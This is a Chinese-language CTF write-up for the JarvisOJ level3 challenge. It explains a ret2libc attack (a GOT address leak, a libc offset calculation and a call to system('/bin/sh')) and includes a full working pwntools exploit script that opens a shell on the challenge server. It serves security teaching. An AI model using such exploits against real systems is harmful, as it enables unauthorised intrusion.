jarvisoj level3

这个题目乍一看和level2一模一样,不过给的文件里面多给了我们一个libc动态链接库。
checksec看一下,依旧是有着nx,所以shellcode拿到shell基本是没戏了。
ida打开level3看一下里面也没有找到system函数,也没有找打“bin/sh”的字符串。


level3里面的函数

不如再拿ida看看那个动态链接库吧!


动态链接库

好的!什么都有了,system也有,“bin/sh”也有!

我们知道如果函数在内存中地址为func_addr,在libc中偏移为func_libc则有

sys_addr - sys_libc == write_addr - write_libc

所以我们可以通过泄露write或者read函数的地址,利用函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址。

因为write是可以把东西打印出来的,ida打开看了一下函数逻辑,发现可以重复调用vulnerable_function函数,打印并返回write的真实地址!这样子我们就可以找到system在内存中的真实地址,执行system('bin/sh')拿到shell!

还需要知道plt表和got表的一些相关知识。
反编译的过程当中,我们经常会发现xxx@plt的函数,因为为了用户体验和cpu的利用率,编译的时候需要两个表来进行辅助,一个是got表另外一个是plt表。
plt表是内部函数表,got表是全局函数表,两者是一一对应的关系,网上找到过一张图,描述的很形象。也就是说plt表里面放的是got表的地址,got表里面放的是函数的真实地址。

所以当我们在第一次执行某个函数的时候,第一步是由函数调用跳入到PLT表中,然后第二步是从PLT表跳到GOT表中,第三步由GOT表回跳到PLT表中,这时候进行压栈,把代表函数的ID压栈,接着第四步跳转到公共的PLT表项中,第5步进入到GOT表中,然后_dl_runtime_resolve对动态函数进行地址解析和重定位,第七步把动态函数真实的地址写入到GOT表项中,然后执行函数并返回。简单的来讲就是说如果我们第一次调用某个函数,就要plt表和got表全部走一遍。

而当我们第二次调用某个函数的时候,我们的第一步还是由函数调用跳入到PLT表,但是第二步跳入到GOT表中时,但是这个时候该表项已经是动态函数的真实地址了,所以可以直接执行然后返回。

plt和got表的对应关系

未调用以前
脚本如下

from pwn import *

#p = process('./level3')
p = remote('pwn2.jarvisoj.com',9879)
elf = ELF('./level3')
libc = ELF('./libc-2.19.so')

write_got = elf.got["write"]
write_plt = elf.plt["write"]
vul_addr = elf.symbols["vulnerable_function"]

write_libc = libc.symbols['write']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next()

# if binsh_libc_addr== 0x0016084C:
#   print "Today is so hot"

payload = 'A' * (0x88 + 4) + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
#调用了write函数,打印出了write_got的真实地址,因为已经调用过一次write函数,
#所以got表里的地址是write在内存中的真实地址,返回vul函数可以继续无限制的打。

p.recvuntil('Input:\n')
p.sendline(payload)

write_addr = u32(p.recv(4))
#print p32(write_addr)

diff = write_addr - write_libc

binsh_addr = diff + binsh_libc
system_addr = diff + system_libc

payload2 = 'A' * (0x88 + 4) + p32(system_addr) + p32(vul_addr) + p32(binsh_addr)
p.sendline(payload2)
p.interactive()

因为每一次执行函数的时候真实地址都会改变,所以必须利用两次漏洞才可以执行。
其实很多的地址都是可以从ida里面静态分析得到的,但是也可以使用pwntools获取。

你可能感兴趣的:(jarvisoj level3)